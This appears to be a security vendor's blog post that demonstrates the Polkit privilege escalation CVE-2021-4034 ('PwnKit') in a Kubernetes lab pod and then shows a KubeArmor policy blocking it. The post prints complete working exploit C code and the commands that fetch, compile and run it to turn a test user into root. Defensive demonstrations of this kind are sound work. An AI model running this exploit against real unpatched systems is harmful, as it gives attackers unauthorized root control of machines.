Introduction
In today’s interconnected world where we are trying to do our tasks by emerging technologies like Kubernetes and containers, vulnerabilities can pose significant risks to the integrity and security of software systems. One such vulnerability that gained attention in 2021 is CVE-2021-4034, also known as the Polkit Vulnerability.
💡TL;DR
![]() |
We are going to showcase the Polkit vulnerability using an Ubuntu Docker image deployed to a Kubernetes cluster. |
![]() |
The test user will only have limited permissions and will be unable to access or alter programs and configuration files that root users can because root users have full access to all files and programs. |
![]() |
This means that any user with access to your system, even if they’re logged in as a non-root user, may theoretically use pkexec to promote themselves to user ID 0: the root, or superuser, account. |
![]() |
KubeArmor is open-source software that enables you to protect your cloud workload at runtime. It was used to secure the incident. We have solutions for every threat in your cloud environment and virtual machine. |
What is Polkit aka CVE-2021-4034?
CVE-2021-4034 refers to a security vulnerability discovered in the Polkit (PolicyKit) authentication system, which is commonly used in Linux distributions. Polkit is a component for controlling system-wide privileges in Unix-like operating systems. It provides an organized way for non-privileged processes to communicate with privileged processes. It is also possible to use polkit to execute commands with elevated privileges using the command pkexec followed by the command intended to be executed.
Understanding Memory Corruption Vulnerability
In case you are wondering what memory corruption is when a program’s memory is modified by an attacker in a way that was not intended by the original program. This modification can lead to serious security vulnerabilities, including allowing an attacker to leak sensitive information or execute arbitrary code. polkit’s pkexec, a SUID-root program that allows any unprivileged user to gain full root privileges on a vulnerable host by exploiting this vulnerability in its default configuration.
Vulnerability Analysis
The vulnerability is based on shell access in different distros. By just executing an exploit code, we can get shell access in a matter of seconds. Once the attacker gets the shell access then the attacker can able to explore the entire system. Exploiting this vulnerability does require local user access (Example: ubuntu user which doesn’t have root privilage). But the ease with which even an inexperienced attacker can exploit it is cause for the heightened security level. Users can also manually install the packages in the terminal by using the command as follows:
apt-get install policykit-1
Here an attacker would need to be logged into the affected system or be able to execute commands on the affected system remotely. The affected binary is pkexec (usually in location /usr/bin/pkexec) which is setuid meaning that when someone runs pkexec, linux will execute the pkexec binary as the user that owns the file. In this case, if the pkexec on root user binary.
Impact of CVE-2021-4034
Exploiting this vulnerability allows an attacker to bypass authentication checks and execute arbitrary code with elevated privileges. In other words, an unauthorized user could gain root access to a Linux system and perform malicious activities. This could include modifying system configurations, installing malware, or accessing sensitive data.
Let us see how this vulnerability can be protected using AccuKnox Opensource tools.
Sandbox Environment Setup for CVE-2021-4034
We are going to showcase polkit vulnerability using an ubuntu docker image deployed to a Kubernetes cluster. To deploy the ubuntu pod in your k8s Cluster, you can use the below YAML or use the deployment file from AccuKnox Samples GitHub Repository.
YAML file for polkit deployment:
apiVersion: apps/v1 kind: Deployment metadata: creationTimestamp: null labels: app: ubuntu name: ubuntu spec: replicas: 1 selector: matchLabels: app: ubuntu strategy: {} template: metadata: creationTimestamp: null labels: app: ubuntu spec: containers: - image: knoxuser/ubuntu-xenial name: ubuntu command: ["/bin/sleep", "3650d"] resources: {}
You can use below command to deploy polkit in your K8s:
AccuKnox:~# kubectl create -f https://raw.githubusercontent.com/accuknox/samples/main/polkit-vulnerability/ubuntu-pod.yaml
Output from kubectl create -f https://raw.githubusercontent.com/accuknox/samples/main/polkit-vulnerability/ubuntu-pod.yaml
deployment.apps/ubuntu created
To check the pods use below command
kubectl get pods
Output from kubectl get pods
NAMESPACE NAME READY STATUS RESTARTS AGE accuknox-agents ubuntu-7b6ddbd7d7-swk7j 1/1 Running 0 3m58s
To verify the polkit version we’ll execute inside the pod using the following commands:
kubectl exec -it ubuntu-xxxxxxxxx-xxxxx -- bash
Note: Pod name will vary a/c to your enviornment, and will be in format ubuntu-xxxxxxxxx-xxxxx
Save the exploit code as a *.c file, in this scenario we’ll use the name cve-2021-4034. Let’s look at output of the id command before we perform the exploit.
test@ubuntu:~# id
Output from id command
uid=1000(test) gid=1000(test) groups=1000(test)
As you can see, test is a non-root user who does not have root rights. As a result, the test user will only have limited permissions and will be unable to access or alter programs and configuration files that root users can because root users have full access to all files and programmes. The fact that uid and gid both have 1000 indicates that they are new user accounts.
Exploit Code for CVE-2021-4034
#include#include #include char *shell = "#include \n" "#include \n" "#include \n\n" "void gconv() {}\n" "void gconv_init() {\n" " setuid(0); setgid(0);\n" " seteuid(0); setegid(0);\n" " system(\"export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin; rm -rf 'GCONV_PATH=.' 'pwnkit'; /bin/sh\");\n" " exit(0);\n" "}"; int main(int argc, char *argv[]) { FILE *fp; system("mkdir -p 'GCONV_PATH=.'; touch 'GCONV_PATH=./pwnkit'; chmod a+x 'GCONV_PATH=./pwnkit'"); system("mkdir -p pwnkit; echo 'module UTF-8// PWNKIT// pwnkit 2' > pwnkit/gconv-modules"); fp = fopen("pwnkit/pwnkit.c", "w"); fprintf(fp, "%s", shell); fclose(fp); system("gcc pwnkit/pwnkit.c -o pwnkit/pwnkit.so -shared -fPIC"); char *env[] = {"pwnkit", "PATH=GCONV_PATH=.", "CHARSET=PWNKIT", "SHELL=pwnkit", NULL}; execve("/usr/bin/pkexec", (char *[]){NULL}, env); }
This exploit code invokes pkexec. Here if you run pkexec, it runs as root instead of your own account, and any subprogram you can force it to run will inherit superuser capabilities. This means that any user with access to your system, even if they’re logged in as a non root user, may theoretically use pkexec to promote themselves to user ID 0: the root, or superuser, account.
Exploit in Action:
Now compile & run the exploit code using gcc. Also you can directly download the exploit from AccuKnox Samples GitHub Repository.
test@ubuntu:~# curl -sfL https://raw.githubusercontent.com/accuknox/samples/main/polkit-vulnerability/cve-2021-4034.c -o cve-2021-4034.c test@ubuntu:~# gcc cve-2021-4034.c -o cve-2021-4034 test@ubuntu:~# ./cve-2021-4034
After entering above exploit we should have gained root access. You can confirm this by running id command again, and you’ll see difference in output this time
Output from id & whoami command
uid=0(root) gid=0(root) groups=0(root),1000(test) root
KubeArmor Security Policy
KubeArmor will secure the cloud workloads and kubernetes. Accuknox enforces application policies and hardening using KubeArmor, our open-source runtime security enforcement system that restricts the behavior (such as process execution, file access, and networking operations) of pods, containers, and nodes (VMs) at the system level.
KubeArmor Security Policy restrict the behavior (such as process execution, file access, and networking operation) of containers and nodes at the system level. Below is one such policy which can protect our system from polkit vulnerability.
# KubeArmor is an open source software that enables you to protect your cloud workload at run-time. # To learn more about KubeArmor visit: # https://www.accuknox.com/kubearmor apiVersion: security.kubearmor.com/v1 kind: KubeArmorPolicy metadata: name: ksp-cve-2021-4034-polkit-privilege-escalation namespace: default #change the namespace to match your requirement spec: tags: ["CVE-2021-4034", "Shell-acess", "Polkit", "MITRE", "TA0004", "T1068", "TA0111", "Privilege Escalation"] message: "Alert! pkexec binary is blocked" selector: matchLabels: app: ubuntu #change label app: ubuntu to match your requirement process: severity: 2 matchPaths: - path: /usr/bin/pkexec - path: /pwnkit/pwnkit.c - path: /pwnkit/pwnkit.so file: matchPaths: - path: /pwnkit/gconv-modules action: Block
To install KubeArmor follow this commands
curl -sfL http://get.kubearmor.io/ | sudo sh -s -- -b /usr/local/bin karmor install
Once the KubeArmor installation is done, execute the below command in your terminal to apply above policy
AccuKnox:~# kubectl create -f https://raw.githubusercontent.com/kubearmor/policy-templates/main/cve/system/ksp-cve-2021-4034-polkit-vulnerability.yaml
After applying the policy, execute into the ubuntu pod to regain the root access by running the same script file.
test@ubuntu:~# ./cve-2021-4034
Now this time after we’ve applied our policy, exploit will not work and hence user permission is not elevated to root.
Output from ./cve-2021-4034
Sh:1: cannot create pwnkit/gconv-modules: Permission denied
To check realtime logs we’ll be using KubeArmor relay to forward logs to our local system.
kubectl -n kube-system port-forward service/kubearmor --address 0.0.0.0 --address :: 32767:32767
Realtime Logs Streaming via karmor binary:
karmor logs --json
You should see output similar to this
{ "Timestamp": 1686161173, "UpdatedTime": "2023-06-07T18:06:13.622484Z", "ClusterName": "rk-dev-saas", "HostName": "ip-10-4-3-81", "NamespaceName": "default", "PodName": "ubuntu-f8848f567-5cxtf", "ContainerID": "2be5762157f1f95e607c9d72d987a0d1653afe7a12716853bb34efb9c9246461", "ContainerName": "ubuntu", "HostPID": 4552, "PID": 3557, "PPID": 104, "PolicyName": "ksp-cve-2021-4034-polkit-privilege-escalation", "Severity": "2", "Tags": "CVE-2021-4034,Shell-acess,Polkit,MITRE,TA0004,T1068,TA0111,Privilege Escalation", "Message": "Alert! pkexec binary is blocked", "Type": "MatchedPolicy", "Source": "/bin/bash", "Operation": "Process", "Resource": "/usr/bin/pkexec", "Data": "syscall=SYS_EXECVE", "Action": "Block", "Result": "Permission denied", "ContainerImage": "ubuntu:xenial@sha256:6df31f643410e84527ac0ba85f686e1098c76325191f87162f9135d7af749f03" }
According to the logs, KubeArmor was able to successfully block the vulnerable binary from being executed and generate real-time alerts.
Generating a Zero-trust policies with KubeArmor discovery engine:
We can generate zero-trust policies based on your workloads by installing discovery engine
AccuKnox:~# kubectl create -f https://raw.githubusercontent.com/kubearmor/discovery-engine/dev/deployments/k8s/deployment.yaml
To retrieve the auto discovered policies you can use:
karmor discover -n wordpress-mysql -l "app=wordpress" -f yaml
This discovers the policies for a workload in wordpress-mysql namespace having label app=wordpress.
Output from karmor discover -n wordpress-mysql -l “app=wordpress” -f yaml
apiVersion: security.kubearmor.com/v1 kind: KubeArmorPolicy metadata: name: autopol-system-3960684242 namespace: wordpress-mysql spec: action: Allow file: matchPaths: - fromSource: - path: /usr/sbin/apache2 path: /dev/urandom - fromSource: - path: /usr/local/bin/php path: /etc/hosts network: matchProtocols: - fromSource: - path: /usr/local/bin/php protocol: tcp - fromSource: - path: /usr/local/bin/php protocol: udp process: matchPaths: - path: /usr/sbin/apache2 - path: /usr/local/bin/php selector: matchLabels: app: wordpress severity: 1
Conclusion
We have demonstrated how simple it is to run a script file and get root access in order to gather information from the victim machine. Information from several organizations can be exploited and used against them. An organization will suffer a loss as a result of this.
KubeArmor, a cloud run-time security technology developed by AccuKnox, used to secure the incident. We have solutions for every threat in your cloud environment and virtual machine. Check out the links below to learn more about AccuKnox and its products.
KubeArmor website: https://kubearmor.io/
KubeArmor GitHub: https://github.com/kubearmor/KubeArmor
KubeArmor Slack: Join Us
Accuknox Office Hours: Defending against CVE-2021-4034 Polkit with AccuKnox
Policy and Deployment files used in this blog: AccuKnox Samples GitHub Repository
Protect your cloud workloads today using AccuKnox, leveraging Kernel Native Primitives such as AppArmor, SELinux, and eBPF.
Let us know if you are seeking additional guidance in planning your cloud security program.